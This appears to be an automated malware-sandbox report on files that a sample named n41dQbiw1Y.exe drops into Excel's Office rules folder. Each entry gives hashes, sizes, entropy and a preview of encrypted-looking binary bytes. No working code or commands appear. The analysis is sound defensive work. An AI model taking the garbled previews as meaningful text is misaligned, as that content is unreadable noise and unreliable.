Preview:	<?xmlPzK.c.z#.....!..W.......<.....G?....g..I#..Q..'A&j.!.%w...0#.b.Bu_....L......5.^.i.!~{..G;'G.I./s..m.)....y....$~.5B.......-F`........j..o...F....d,..W;._.z.,.@.....!.....u.. ].C".[....[S.m.!<...rt4..'Z..a.....(......c......Y6..IK.=......@..o.#A..prud..E.7.........7.......}....bR.X...V.1...z......a.b...8..W.\|~u..J...3/Uw.]M....8.X..gU.=/.3..?.....].......~6..~..I.q7........2.3a...P.tY..R...D.....`....'G..U...;`..U.....[.s....%O.B)#4.....M....P.1Q~B..>...>..QG.6...b^.<gY.Tu..J.....C0...5./...&.3...q.[U.rCo.fI.....u.n\.I\|......$:..i......;YE.9.N.i.<.W9.....q..]w...."j..I{....YAG.d~.......].8Y.).....X..k7.zk.U.........{]<.SDV..A.[/.."......n.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.768858359088609
Encrypted:	false
SSDEEP:	24:JSzljq1SiPhF8Dks9KIE6GaCSnq3PU4+tvSSPbD:0zYqf2a7qfSPTD
MD5:	D560048E30FB7AB7FE9A6B4B347204D6
SHA1:	4B5C9BC9A905E6BCCA88FB452973F52143CA9956
SHA-256:	5E499D287744434C1F4092E98D2DA64D12AB73CCCFBC2A598A4E0C4AD77BFF89
SHA-512:	3B699B3DE3EAE30337853892664CE1B6D58F5B236D85E37D689BE59F969C602FF046892C00078671FD6C629A4E258560F8089A4BCD92E4DE375322BCA44F3743
Malicious:	false
Preview:	<?xml.......<m.i.a.Q...o.r..?.......=X,..)..^.;.0~OJ.....,...Z....Z..../-\.B.~.u....Y....j..~..7.-.D..W..&.......-e..W..0.jZ.......d<......]..........Fh.@..S.q?.)!w........%.bw-_h.....}...3.......C.m....g...[..u9...Wc.=E.E...f7....67.Jv.qn..b.lcl.........`K...=;.B..3S.RP....d....C.c....).....-%%.dama.v.1.q`..k.....Q....o.wl2ieT...0Ir..?"C.c.^.....qK(......9.g..b+........\|B..-.............kJ..~y.]r....a..B%../..@M...o...{...p.3.?l~....R+d......'7..W(..T6{F/mR#....R6.:K...B....CS....I.$...W...C=.3.sr...<..G\...B..x.w*..``83.k3..o.......fK...%.,..9ri)...FS.Mm....o_TmD)-..l..,<.n3sz2Z.....t6...K...o...\|.B .F..`O.....J...0...nQ@'.X.oB...../"..2.o9.E..~.......A.&....'+.%......"T'I..f5...Y..D...J....S.x2;N.9jA.7_....q?.H..R[;.=.e.a+..{.....#..rl.-..JK......O"D.L.bj......3......Z1...c......+#1..G.3...2~d.....B..NN$`..Z>>k.P43h...^..U....V,.6..-X...J~ ..kr....m....3S...Q....e..@V...j:W.2.[.ej......Y.J..Y.f}Mn...YGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.796295904751085
Encrypted:	false
SSDEEP:	24:U9BHkitHZGn/KdcYlhm9mt1HwnHbjq62w7NG1v4fAD6617ddMBZeCIvbD:CN6hymwcHnhR7N3AxhdSBZjOD
MD5:	0ADB32014844A8C2261BE00B91EFD806
SHA1:	94292B6E17B44E4DB575C03CB163571DF02AC1DC
SHA-256:	A818C3FE8110C765D86C0527373E58C5D5FFC57F8F4AC396D29BB3038206168D
SHA-512:	C39D375E661480130AF7F9B1FAA21FA56C2D2D652D85514B374009377CDC7A5040004399D3B26F6A6A93A4A83CCACBFB19C61A88BB42CDE3AD2111029DC97BBE
Malicious:	false
Preview:	<?xml.Gk...[.;$...Xx..".O.D.......!._..R....~.....G._...[Mb.......5..G....I.:.......,.C.)..\|.]B..d.W....e....wlaw\|.Q.$.E4.9#St~.j...4=..i.p...=.<v......U..=..B..M..>I..z.h...h...6w..m.+^..]..;.f\|Y.GI..j..GQ.w..y...?0.u.J....!...\|,5...B.s..8p."A..7..>......:..k....rY.../.ec..B#."<.^.3.$Q.q8K..w..ec..e.5...&...N.n........ ..p..[>..:..4..lV..l..c.D.....]..H...a:-c%E..........t_yx^a.1..E.:.y5.6..r.XR....c..6.........dT....%y]...@%. .......q.V>\{j..M.-ul...ZVRwh..G.p....H..K...<...X{j..i.c.(..bV. ......N...@..u.;q..~cO.5.H.{J1.)...".k...\|3 .l....A.4p.Sf.#......f...F..u...vV.a...R..K...,TH.nu..w-_@}.a....V..V9..6.....Q.Tv.]...V......(....o...k.J.....=..2..w..F.p.D$7..)..`......T.p8..=R1.U/45.LW.P..).....[.....p...n._.v.M....M_..N......o...Fh..n.....e...S(.@AgX<$.8O=..o.........=s.._.<N/.t..4GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.8353219624887345
Encrypted:	false
SSDEEP:	24:Ft5Qa5e5R9EOV6+jJpwNihAJkU4/bNASCcnqc8bSUNlHnbD:FjB5e5R9EOVvk8hAKxhASCe/FUNl7D
MD5:	F90266E2C485C678B87B91AD64C198F6
SHA1:	186FA2F7A9999BC654DC47E7001D1A8D7FE4DD17
SHA-256:	AF41F092232B65D7CD80C4E522E529C78D16DB2DF3302D689B52F58367C18A50
SHA-512:	7C916AAB0C63FFF71AA1B1B99FC575264D1F1C17F92813B61B2D04C5C1A327288811E2BF6E0C009C430E36F3F20C7731B0329B954914DBB540C29C618B521019
Malicious:	false
Preview:	<?xml3.........d.....d..~V.P.[A..X'<....'0...'7.....<.K..AJ......{Y-.d.b....Q..\|.M.v:'.....E.4,..-y/..$.u.W..~;.~_X.!..$..V.bmz$O..vKj...d[..se.?.....K...g..I.w]A`......_.H;....@x.`.q..L.....yi.....p.....b...c.N.....]z..S8..........V.@.Jw...a>...l......a.c.........C...^@..f.v...V.....rb^..q...J....%......GXz+S.l..._.."..7c.ymVI:-.@...._.#t.\.&.....g.....)......r.}`..."n=.`x.0JU.yu.\...Do.(b......?n.]...M..pIOs..Nm,[..(7n]TFanZn-.q..XaO.}.?P110VE_.M.U...\|.9.V!.[.a.U2.)..N.E%7.]..K...]j)F\|...n..h...O.l.....d.!I..6.p..0...<....C.G.tw\.....3@..,.\|=.....S.mM...+...G`........\..x......q..i{K.u%T..g.yR...).Nj.C.M.f.C[.~.BW=X.....G...Zm.V......Z.xex&a..;..f...z..0.6a.........."...S..9Q......f.....=W..K&..7...y..q;...r.:j^h...Z)p.........[.....%".CM...+.....4...k.5....P...J.H._+......\|$.A..3.k.j:!s..2.\|......M.... '<...\G^.T.....3.v.Nr/Ff.....}.P....hsY.3......\|.}._..@.......f..G.=.+T....o.........?v...h.....L@.S)..$.J^.....8..o...UP..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.780999927798975
Encrypted:	false
SSDEEP:	24:QyieLHUAQ/QRyje3ZMRFNlA3UWXgSwofDO6Gqo41bD:Q/EY9jdFjXsrc7ED
MD5:	252D390CC67400EAC171B903DF1B0AFE
SHA1:	94471BC7E08FF17A06B44FEB8DAFB38383D9B307
SHA-256:	DA8CFBAA1F10DE03321FDD7D5748385B4D81C2FD676C28AFA2C00F8B63DF8262
SHA-512:	D4395524D6E9B91E27CB85B7E03365DCC5F839D59FB54E360093C6ED9EE91F2AC9DC8F9EC7204F0B19C02008E30F49EA9A7E8BCC989786CCDCE3CF06986E8888
Malicious:	false
Preview:	<?xml....~2..x.f.rZ9..O........$..B..9..!....0Z0....;.O...Y..M.\.C<.7$F.Kj......e+.../..X.9...S.^...u.+..fr...1........f..^.E.2X..~.s...+....\|IT..)Hc..(.~D.....Y..p?.OX.j<AV.V..WPq&.f..N..t.4.]`....I...l..!..To.C..<.q.ZpH.X.w{_.....VI[EF,.....'.i.."{N.......L.2..$.-....9.\|.-...t}h.k.8.w."...S.uW.."..ws.vUS.M..9.....o.uI..5.....1...}5.Mt).<.........W.yE...t....X/......U.N.9..W.....q....j./..n4Tl.e...........G.<..PU.h...I%?....y.[... B....LE.D3.R..pKi...t?..mS..+...b......d.&3...w]..lH...2E......-...k....8...Qq..M.7...DM?.X..#.gk.7/x.R.w..?.WD..E_.b[.=~&.4..v...l:..y..n......'..C...&...^..?...+LW...I.II7^S.t<>.4.ZO..P.?)8,.'/9.....\~.{.....$W...\..n.=..yd?.v......{'...m...)..FX..zt......X..m.....~..MM..-.5........IV...1-.....nkbu<....w.j...8..%wj.F...!P..<.3..T}.....4..:.....zy.....7^h..V\|M.....h..W. U.......vA.q.^..lu......9....A.....s\N .1b.v.....f..._.{........q0...._....kB.......Yc*.....>..8...9-i\...G..C....p^&.-."\$..L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.822777129528918
Encrypted:	false
SSDEEP:	24:qiJIfWc2wl66x+fpkm1iQe292xOlLVCrdmRysATvqgA9hAPlgqnbD:8yq5xMpkWtgIlLVCrvsATO9hAdgqbD
MD5:	1CB4F0A09D69B197F08886E3ECE52D42
SHA1:	34BA63EF5C633A867A4D901A7AC5419CE52F3AB0
SHA-256:	D2E8ABB50DA19D9597F20533A723439FFEC33F082E29396F7F220BFE39D3C201
SHA-512:	A31AA2E0F83A7F91DF93F9A21450839F37BCF768B4986C1C692B380765893E126CDB9F8058B986C91B042548A499DDF2DFB94A6911D6C7EE225ADB22711682C1
Malicious:	false
Preview:	<?xmlIx.R<W..{..d.}..x4..0.7..?..F%.....[.$.."\..[.K.rzXI&2.j..l?]F.b......OY..+mkel..B...v.$O.%.).\|D....}..c.m...<..&eme...c.]\|...m.E...BJ............YrX\.<..\.N3M....y..~...X.......M......{..yI.....QNA...Y.^.y.... f3...y.3C..B+rz..[......_[o5Cg..=/...C.q.Q.}.....E.QU.=.....n...[....4._...((8..;.X......,h_..6F.%.........".../...?r.khps<X.0..9.j..%......?.B ....'..%.#..tu.....\|Vwv0.....^.l...k.l....a.xC}..j....\|.!..2...........a.[..H.9.a5.Q.B.W..f....N.1.....QL..@.\..f\|..u{X..;....1..`.......\...98...DD..N>Y....^9_S ..\g..wUz..9..........c.....F.tw..%..D6..@...!...._..".@<..................q.../.[\..k...go.L.cr.Gg...v..z+^.)......4....ie...J.y.?P(.R6..a_8...N.e...hT....seB....E..i..gf.[.......(..fo.._.'.../~._4B..n....>..b=..4....y2....)Od(..[ @..na.2x.(.:.J...C.=..@.sB.........sw.9..5x.=....... ;.U'.}v..!R.p..!.....!.....e..g`J.1...D..&R..r.Vr.U....F./.)s8..Pc.D..p......T....x......G.q.p.....{......B.....$......C.cuo./w`?..&.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.835656245736153
Encrypted:	false
SSDEEP:	24:GTgl3+HVA1pk1nKvt+QCm++GuGA8y4P3ewevXVy20rbD:GTgjpk1nKvhCm+luf4GPo2yD
MD5:	73F232977B9213C4D1B15C2B7916DDFD
SHA1:	5198E4482B1CA5240796FDAAA904C8D44D2E12B0
SHA-256:	95B58C36C682F18CBFCEB8F3EFBB93DDA652A85A63C8A4DA59E631E1B875DE40
SHA-512:	8750E50D95A880D50C82B94ED645148367ED46A8D5DCE0B9B5E41753DC1395C7E5C073A2F1AEEEB977255D46FEE10E6AC61187E2A63F9F9650E90EC201CF50DA
Malicious:	false
Preview:	<?xml...):.....s..\|7@..A(..l..'UV.....D.DU..I.....i ....d....2Y.......K.(....#&..\|@... Nx.m.q^a.,.Z7.qzh....,V..0"y..<.:u-.o.s....p.....D..5...wr.Ivy..L..G.[.h.$_..zj.c....5..H...~E..,.o........z..8M6...6r~.7..%...d...8..J.3r?j.dm....&=.%..!pZt.g.}....?.m3./.\|......k.[.4...+...~$...G...h.A..Z.4..d%..`.n...!.[~p....:........X\...VB..M...~...a..../..U.\t.'$...J.J......Y{f.R..K.IkB...5.[7G.{..S/3c.y.d..l.Qs...#8.$...!Dr.....n...._2.e.......L..N\|a...$....E..G.....r=...L.K.O..3..]...y.F/%..J.&.. .. ._?.i{.}.....ZF..v.p.qx...L...d........^Qu5..1....U@B..........Z]=%..f. v\|.].#..K....Gf...D...<.C........],..s.:.........&"..}.....h....%..?..#/.6.v.....B...`.2.J. .VE...ba..f$...!.w....+.&.4...\.3....@.L....m.~.iB..#.T..[....=I....;....8..I^.S=..>.+.T......_."...B...nV......Ai.^LI.j...A...xJ....!...&-v..p\|..*...A..3N\|...E..o-}....m..\..9...p.......fC!....z.x..v.(r...!.O.n..Y.O.....R\8.l.Z..}$.st...n.u9.r..r.]7....nX].s.k........a.(Zt).K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.780075000741032
Encrypted:	false
SSDEEP:	24:nAIw6R5/NFGzIUUQSr9CLav0Oi2QUiUucXHlaxvohot8a0dsSFLJabD:q6fFFUIRZr9CLav0Oi2/iUucXlaxvcol
MD5:	C8B4A06F299311F812C7E3A70F3C566B
SHA1:	05996DAD06F053B93A51BD60837C65564E905EFE
SHA-256:	E5A78ED385F46ED4C81E2B45DF60F6B85D2EBC3287102ED3CBFFCB49BE6B4A92
SHA-512:	1C5AE90F5F1D743969C162EBC127FA33B0AD14E913DB261254ADF14702B28B985B3443B7EF412982A33604FA41ADF6AB54F3A8522E7586D7EB336EC551B0A0E2
Malicious:	false
Preview:	<?xml^...U.Le3;...l8....J..H@.?....'>n6.....y...9.1.l1.XF\h...s'../...$K....n{.?...i.....y..Am....>....I....J.3.?..k"j.\R.....=.....6...t."... ..JF.]....:e..x.K..8+.<.(..<8....v.......L...O..x..'.n.5...C.....8....9\|.X.F...D.5.(.Kvr...1).s.g..[6o.qjM....q.nk..j........K.%......nP.n{.QBN...]r5.a..,..<.F_.oy}..1B./.K..m...#.....\..z..Y%..P.m..(.L.4i...0...\.[.w......~...H.\H...<..VU...66 .L..!...(...[hT.?.M..O..N..R.7....,P_.g..3.....QG.w..X..T.....<>.......P....n.3..K..X....0y..@.\.1h,?.J.SY.......F...Y..-5....)....P..Nk85K.....\|...,....Y._j.h.3..(.i.Ea.xR.].:......7^]...F1.?t..b...q4..!2U._.U;...h...76.>.n...G..u.,ir.....'..-'.Y....r.=.=o..&&A..!..U...Mk\|O..B@v.m.5.B.C.Y{....^6q2.......~.9..s_..oEN...0w.F.\_..i.>sI.....`.R6..>.....T.....)..T9...tK.OS...v...(>Y.b%ko.2k.s.8..).)A..._.R9..B..$.V....-.o..5xd.....Be_..f'....V.V.'.40.XKl....N.]O"N16P...8tq.....z..p...z..K....G...R.G.F.zc.ca..3.........{yoV...o....m.."C,.i6.#...<{.&/..+6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.827777762001387
Encrypted:	false
SSDEEP:	24:Ar73G2MpcX1JhlerllP/1/OZ6VVKc9CDQaEJAAdIdbD:A3zj3erTn1/OkVDaEJAw6D
MD5:	66A247B54C9E44657DF23AC7377B0097
SHA1:	8CEF1A46ADD7AE5139BE5051500D547F4F10CA8C
SHA-256:	CADD17A66A7AE74A0806D107A957F476B069A6D7BF6BA7D034784DD70D1F6757
SHA-512:	519F4A6B65CDC9A64FF75D530569D52C97C7067357537422352E6B30BE8565F4368A1105D6AB14B55099B765B1C2D81B0D0CD6B2F17E5705261D74FE5CE872C7
Malicious:	false
Preview:	<?xml}.i..3gl.$8.V.\.....-_..K..D.g.'..6aH....6.......Z.W%....M~. .......r..{n.'.K..~.^.?....BK..2$qd`...x....G.X.2.......QOH?...5.];.r.....N+wQ.H6H..ln..].z.{B'~.d..P....".}...:S.Y`t.X...=.V.5.<....VVuf....D.....kf.0pS...p....r.f...M.a.U(....4.....Q.g.L.R.GA..C?X..K..&Tq.a..ej.7^O9.Tz..:.......]..XO.-e_..W.wu...3....%...g4....P...nu...8P;.o.[..w....0.kX:-&im..]..5.j<.......i.w.'......o.Zn...@.6.=..S.+....M.t....Y...;n..1.h3.%k.....V.u..u.t.M...y6.....)0...9...Z.:.t...@..~?.)...3ig.R[J.Ne.Y.x...<Jbv.h...........f#/t+.....E.X...D....]uX.......t...s..Sf.1W.T.i.)."......k..s...4Nw....>M.0..+=s..[5s(`....F&....l.+...;.'\|..{.b.[.Up_.+.Q..t.....A..8Y.5.....EG...........%..=mPc.H...Z..Ru....Z@...Y..:H..jX0P,gg....To...e>.%/.)b..A....].V!8..4UA............mfO@.']4....d.._y.HW.X....\...=J.>@&W..go..G_.o...z43U.ws.9...zLYh`...kF.1.....-n........b..8.<h........t..I..7.<I.Q..K..'@.C.w..../..^.../.S..\.Y.......v...+.3..`./!/?.H.....q......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.7610509280187046
Encrypted:	false
SSDEEP:	12:Aikb9Njq7E/kaiDkdQ9wKoj0DCeT2cqosDoEk63OM3iuLg1Xo6ofQeiEFtZYciik:AHb9Jqc6wKzDCzosUerqo1HXibD
MD5:	AC24B4E3CA4042B783E745EAB27ADDF3
SHA1:	C7EC9A0257CADC9A4BAFF27D8AA72371F6815027
SHA-256:	590C23573EC5C8AD49ED3C67FE149FCD192866D19A8E8E934B192C92E56C723D
SHA-512:	BF68B50761D46BF028E264B776670EA5D9C6DED10281F175B7AFCF1E181DC1E793CE01FD18C115712571992B4DB6F7806B5D1276716721F97C9FF734BFB85517
Malicious:	false
Preview:	<?xml}..N..g1j)..s.l..j.=.~^.U.xf.T@_......a.-...)awD.>.a...#.....9.....E6....9.g.Z.,.d.&..L1....D.A....)mF....7.6.)......0...j2..l>.fQ.s...N........@.]k1E.k..N..d..\cta.7.......6...=I.._$Y.+..[.....8.!..s......X..D2...ZEh;.t).A..Z..,qs....J.g......E.....n....;.>#..Dg\.}9.Io..k.u.4y..-z.\|.;f*..........W^...)...6h?-..e...7...#..:.......T,".D.f.@x.0G..!...O,.U.1.r@o7.eQL.)". ....2^...VSh..1M.:G../{.f...N......7.....IE...!.g...o..`!.0!...p...w8...r....h....(..w.j.r...n"..e.y}.......%. ......1..A..g.g...3.+...._%.LV.....O.%..#.f.?6.j.i..n.s..K.6C(g&9...ar!....S..=...{b.\.;.9.....`..]\K........I.......b..{......R....;u8.....y....)..#........lQZ.V.A............~h+'..I.-.Od,..-e.(..CA.VS\|L..vA..d'pF)..m..%j...&......>X)..tM..$oGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.727812827817419
Encrypted:	false
SSDEEP:	12:acju/mEbnzBPqSs5HFcIxeknVFrePAnG1PPniowmx4FzHvj7tQYrZzPuYcii9a:TjkmEbn45HFcIx91VIiowm0zPHX7bD
MD5:	CB0BE6B8D3E216622078843EC3A92749
SHA1:	37FF535A95DC3957830FBAF813228D8E5DAD8968
SHA-256:	A76F9B7FB28810CE3587B778B278E867C8BA0824835A37D021BB082CE70417BA
SHA-512:	B6E76AE488F3D268EEAD98A867AF3F5605E3175F5DC3EF66F9537DD1CBF94914B998F4F8E9DE56E47C2A3B4410FCC79D669C9745538444BC6EA2D0EF17D149F3
Malicious:	false
Preview:	<?xml..lm.&Oi(.7..+.6.. .3.....O.h......`.H....\......o..R....E.y."r........dm....'.W....?.C.^.dH....\|...c.e..fI.lN....R..BV......`..%.o...T....."..%.5T..9...].yKI.m...2..uv..+Q...X:RP.J.......~W.Bd..P..B..fS[!I..\.lq`. 2.$b.k.#J...C...o..Q..........Y;...v..GGJ..!...I.b...$.........;....e....4...S...`.U.....$.zL.9...P......>.v.c.?..h.L..[....H.d.Gz._.c..,'Cl..p......F...w..V..=.*..e...t..e.....w..7.'$.PS.$.Exm$.i.^;...0.PH...?...!.N...R.8T..qJE.....9'..#.V...7......aT..O..1....w.........qBEX.\.)#...f9.b..(...r......$.8...`..3f..ai$.....p..Q...CL...mc.%m...Nb.c#.....h..%"..8.&...#...x.g..3.\?..:ca...I3.....r...l-6..Y.).1TW.^x....?....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.737163033807217
Encrypted:	false
SSDEEP:	24:DWaJ8ndE/AvegL4mIYHSnNIN8nznIwelbD:R8dx+6SnNIN8znIwe1D
MD5:	CC08E05821309109209AC0757CEF89C8
SHA1:	FE9210FC07FBE9D411D0802A082BD87824EBC3B4
SHA-256:	1BE2787CCA1C81492447B2B8B69808DBF8E63D4AF4419DE597F07ED4C43B7D60
SHA-512:	23B913414927016B262E0D8CD6E8D95EC2FA29E487541BCAD42FBE32245C4ECDEF2292CC73CE9EFB25C32BB2B4EF26EB319540FE85402051EC0B7D8B14820649
Malicious:	false
Preview:	<?xml.....1.......f^....\|?..r.PB-....T.k.......E...]ci.B......mp.+A...F\|Q..l.Z.=n....G..%kmC._.#..S[.U.~...Y<..=..#pT.b.WQ..S(..-....E....D2.,..../.Cu.#.-./;...!].a..A.._.xJ.t9[.....x\i4:..c......?.k.!:.$.\5.... ..s..../..v.hHY../.#K.<..gS.f.....K....G7..X.7.....J...A......>U..Ca..)....z.p.w...7....c!...j.$..W...7xk...m.^o..{;.-.........qh.!]J(..}.x..N.r.n..".vV,....f.....p+.b.'......vh..T......n....W..]..$.Z..,...R.....qT......#!.q.5..{..B._...<4P.....#...2.[....t.{X.A.C.....~.Mo.!.......s&L~.D..i...W.c.....zb..B...!..x..._p....7'...l...C....EE?.Fa...Lu.......VJ..2.....ke1..g.n..5.+..x..E8.C....F..E.<....=%........~g`...D.C..ZsW.I...r..\|f.....D..#:be=....%.%......ar./...2..Ax.2..A.B.m<r....;...{^.b)z..c.....#.1\.../.WGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.841948122155087
Encrypted:	false
SSDEEP:	24:kq2joKbcR3eKepjc0moxEaVtbtXy5AD7Z4NM7JSyLfBdmL1bD:LK6xeX+Joxlb5yFwkLlD
MD5:	65CC50E311DEACFAF9B59DF19EE4419D
SHA1:	9AF7224D7E881EAF6603ED668C870F9A47A128E1
SHA-256:	32C7A5DDE63C270290FF08E9A128C67C7BA17007EDF5D8349B26C9444D12222F
SHA-512:	6672F2ED0BE7D4EB99EAFD309A5DB7ED04B4922CD8E298B81D256C4F99AE3AEBD71E04804FFCBD4BB5D13BF436BD8FB9476369E621DEBDEC6E6E59DE6A15CB70
Malicious:	false
Preview:	<?xml..I4.i8.m...n.df"..o.>c.k.c.../?..^j%J..}...8.....Kg....1.F..=..a...?.l.#.?.4.F.s..dh....~......^..5;.J.y..n..WK.z.XYt.Z...>..=!.......U......Uj\....HGz..cH...dEN~.Q.2...%...1....%.".b.jJ.;..im.r-..Tq.Y.z.7....4....?.l.......q.t.....N>G...[T...+cu.....AI~..>.....E..W..C8n.2Cd..%.......:.aI....Q=5.......5.;&..a.-.T....$!.fH...B{..f....c..>{,...V..k.w..!.'....S.....Z\|...8b..........a.,.b..;..t.......C......q@z.DM........1...mj4.....n..pm?...M.'{.....z...8....5...Z .yG..i.M...]..W..Bf......QY.0nuuD.Ar..#..c..PE..z<.0.."....WE...D.z.I.+@..l.V..F...l.'.h.hdz>.M..#.[j...d...0..: ..../..?T..;.. .j...........{/.....-...v....Gc._...\|k.,..g..]....F.\|.Z.;._T..kT...B.v.....U....{DZ.>)j...*..T.Q...K....l...@e.."_.,...:+y.].,zb..K..t.Gn......Ok......<n.;V..p....DP......(.......j3.<.A>T...J./\|...Tp.+.\G@y...B..+.V.E...(.... .M...n.y.Y.`.....:.{..y.6....b....Bu.w....b.I&..)...R..{..<+r....N4N.;)M..)...C..=......}~..1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.776657809816277
Encrypted:	false
SSDEEP:	24:uqkQdLDC6K/ZXFlNaLV4AZlelBfexwyy14/CBIuJ6qyNPPbD:uIulMh4AU2wyy14Ro54D
MD5:	265A7FCF4B8C70D9AAA48F655A14D6BF
SHA1:	A209F385A0F5850CEDFC9CCAC0281E894C4AAF5C
SHA-256:	456F1904BCB121E3FE3D585E47074711FB009A99D65B47C1730B42B83DB9EBC1
SHA-512:	3847FE06E87128517E28C3981A3D0C700F6C073D3638DA73B9B072AF6C059A30F53A0A16FD152860F2A43A3B79C9412E8611A4E4294A685F40187BB538B94A2B
Malicious:	false
Preview:	<?xml.u.&s3.]n...........kI;p.......H.].....hW.........nRD.F...j.j@.Sr..1.s.x$&X..C\|-.+........(.Z..G.....p.Z...R.O.M.q)R>u...03......4....2.Z.J..@..G7.l..+..V].`=...B.C.^.G..]t;_K1.L0./.r1..>L{..EX..1y8...4.......U...!..<n.8.S.E.v.t.u.!......].G%..0,....[UrBb4_r..k.'.....k..X.T#.Do...v...U!.k.g..d...?+oj...}........h.^..(.#...&.?/{.,...Y.I..:f>..n.......mr..4.;I].."^.d.M.1H.\...8........9.~...I.,..{.#T.R....n...w..v...m..=s.o)2[8.k#....v..jQzc..{/..i.........i.\......T...W.cCw/....o.[ \|..,..K..H\~..b.O...x..:..$`...2S...Wm.,N.zV...z.~.jGd...6..O .... ............\|..`.e...X......u.pi.xv.B......Z.s.p..}._.5.3.6X.S2>!.......{.uW..W_..:g......s.u.....\_X...1..Bg....p}f..d.....5.........0h.Q.ovrDR.....!]......O.d?....u..sl..X.p..x..:..'..E.W?.q..........f.cZ+q8.8...%...)$.l..].<.......o..\...z........NF..f...=..\GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.781822875643598
Encrypted:	false
SSDEEP:	24:umejodsS3PAU1cvrq8U3g6QqpPtmA3xpGC32bD:uJSiqUSPoAhpLkD
MD5:	A42FDC89AB0A9BA591DB0592845F47BD
SHA1:	A16148EC5503B837D47F2F7708BE2C77C1BDDB48
SHA-256:	D1308CD53230B788A3B521E35EFB4FB08580ECDFC057B7AC0A624396578F2201
SHA-512:	EA4652A218D53B81F141CA585C76728CEF1542C88ABCFB58E87901F1A2D4E0D06CA1B0363CEFD48F7ED1657D0F206CDA0ED596B865CC11743A51E35662F9EA2F
Malicious:	false
Preview:	<?xml!z....]..P.3.........Z5.Z..B..9..^..H!6.....T.....E1B.....q...z}g.);.d...4......Vv... ..w..NLE..../gN.0>...Hj.......!b...m.%......}.,....86.......G......bH..K!Ro....\|.$.......Y...U..+@c....Z.9.[.8.?.G`..<[...e.E.zH\|.b..1..F.<agN....>...,(}>DO...d&..V5.......9.'wp..x........zcX.'t...7E.T..hX......'6.4?.'....\|"...h(....uG#..-f...5_...9\|g..:U.,....S.?.4_..0.s.dk:m..n..i.8y...j'.B.....lR...}\|........9.....NF.3.t..I!P)y....R../.M.\|$h"...E....%0.K..:V....'.......7..}8:.yG0l&!.....M.{........tJ".8....K.4..d.y......zi9j......t.`....!.?.))QU'o.E 